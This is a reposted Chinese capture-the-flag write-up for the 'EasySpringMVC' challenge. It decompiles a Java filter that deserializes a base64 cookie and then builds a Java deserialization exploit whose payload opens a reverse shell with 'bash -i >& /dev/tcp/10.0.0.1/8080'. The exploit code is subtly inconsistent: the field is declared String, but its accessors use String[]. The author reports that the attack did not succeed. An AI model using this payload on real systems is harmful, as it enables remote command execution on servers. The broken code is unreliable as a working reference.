首页 > 编程语言 > 详细

[V&N2020 公开赛]EasySpringMVC复现

时间:2021-01-31 17:25:30      阅读:31      评论:0      收藏:0      [点我收藏+]

1、题目下载

首先下载源码,使用jd-gui反编译
然后save-all-sources把源码保存出来
技术分享图片

2、分析源码

首先在ClentInfoFilter类内,这个类的主要作用是用来获取客户端的信息,并且过滤

public class ClentInfoFilter implements Filter {
  public void init(FilterConfig fcg) {}
  
  public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
    Cookie[] cookies = ((HttpServletRequest)request).getCookies(); //获取到客户端的cookie信息
    boolean exist = false;
    Cookie cookie = null; //设置一个cookie变量
    if (cookies != null) //判断拿到客户端的cookies如果不为空
      for (Cookie c : cookies) { //循环cookies变量
        if (c.getName().equals("cinfo")) { //如果拿到cookies里有变量是cinfo就退出
          exist = true; //退出并且设置一个变量用于下面
          cookie = c; //将拿到的cinfo赋值给cookie
          break;
        } 
      }  
    if (exist) { //判断上面存在的话
      String b64 = cookie.getValue(); //得到cookie的具体值
      Base64.Decoder decoder = Base64.getDecoder(); //创建一个base64解密对象
      byte[] bytes = decoder.decode(b64); //对值进行base64解密
      ClientInfo cinfo = null;
      if (b64.equals("") || bytes == null) { //这里判断解密出来的数据流如果为空
        cinfo = new ClientInfo("Anonymous", "normal", ((HttpServletRequest)request).getRequestedSessionId());
        Base64.Encoder encoder = Base64.getEncoder();
        try {
          bytes = Tools.create(cinfo);
        } catch (Exception e) {
          e.printStackTrace();
        } 
        cookie.setValue(encoder.encodeToString(bytes));
      } else { //不为空调用tools里的parse
        try {
          cinfo = (ClientInfo)Tools.parse(bytes);
        } catch (Exception e) {
          e.printStackTrace();
        } 
      } 
      ((HttpServletRequest)request).getSession().setAttribute("cinfo", cinfo);
    } else { //这里就是上面的判断没有拿到cinfo就给客户端重新设置一个cookie
      Base64.Encoder encoder = Base64.getEncoder();
      try {
        ClientInfo cinfo = new ClientInfo("Anonymous", "normal", ((HttpServletRequest)request).getRequestedSessionId());
        byte[] bytes = Tools.create(cinfo);
        cookie = new Cookie("cinfo", encoder.encodeToString(bytes));
        cookie.setMaxAge(86400);
        ((HttpServletResponse)response).addCookie(cookie);
        ((HttpServletRequest)request).getSession().setAttribute("cinfo", cinfo);
      } catch (Exception e) {
        e.printStackTrace();
      } 
    } 
    chain.doFilter(request, response);
  }
  
  public void destroy() {}
}

接下来分析tools类,这个类一眼就能看到是个序列化和反序列化类,继承了Serializable,并且写了序列化函数和反序列化函数

public class Tools implements Serializable {
  private static final long serialVersionUID = 1L;
  
  private String testCall;
  
  public static Object parse(byte[] bytes) throws Exception { //反序列化函数
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
    return ois.readObject();
  }
  
  public static byte[] create(Object obj) throws Exception { //序列化函数
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    ObjectOutputStream outputStream = new ObjectOutputStream(bos);
    outputStream.writeObject(obj);
    return bos.toByteArray();
  }
  
  private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { //重写的readObject
    Object obj = in.readObject(); //读类
    (new ProcessBuilder((String[])obj)).start(); //这里就是命令执行的点,把读出来的类执行start()方法
  }
}

读到这里就很明显了,就是给cookie设置反序列化
把tools类单独拿出来生成反序列化语句,并且进行base64加密,因为他在cookie解析的时候会先base64解密成序列化流,再进行反序列化
这里他的String testCall函数并没有设置set和get方法,所以需要手动生成一下
还有一个坑,就是接收命令执行对象的时候是使用的String[]接收的,所以需要把testCall设置成String[]

3、复现

写一个测试类,并且把他的tools类拿过来复用一下
测试类代码

import java.util.Base64;

public class Toolstest {
    public static void main(String[] args) throws Exception {
        Tools tool = new Tools();
        tool.setTestCall(new String[]{"bash","-c","bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"}); //这里需要改成自己的反弹ip

        byte[] bytes = tool.create(tool);

        Base64.Encoder encoder = Base64.getEncoder();
        System.out.println(encoder.encodeToString(bytes));
    }
}

tools类,直接复制,这里把String改成String[],并且给testCall变量增加set和get方法, 用于访问私有成员变量

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class Tools implements Serializable {
    private static final long serialVersionUID = 1L;

    private String testCall;

    public static Object parse(byte[] bytes) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
        return ois.readObject();
    }

    public static byte[] create(Object obj) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream outputStream = new ObjectOutputStream(bos);
        outputStream.writeObject(obj);
        return bos.toByteArray();
    }

    public String[] getTestCall() {
        return testCall;
    }

    public void setTestCall(String[] testCall) {
        this.testCall = testCall;
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        Object obj = in.readObject();
        (new ProcessBuilder((String[])obj)).start();
    }
}

运行主类,生成base64的cookie替换
技术分享图片
这样把cookie替换掉,就能得到一个反弹shell,本次复现没有成功,猜测可能是buu的docker内部网络不通

[V&N2020 公开赛]EasySpringMVC复现

原文:https://www.cnblogs.com/alpenliebe/p/14352579.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!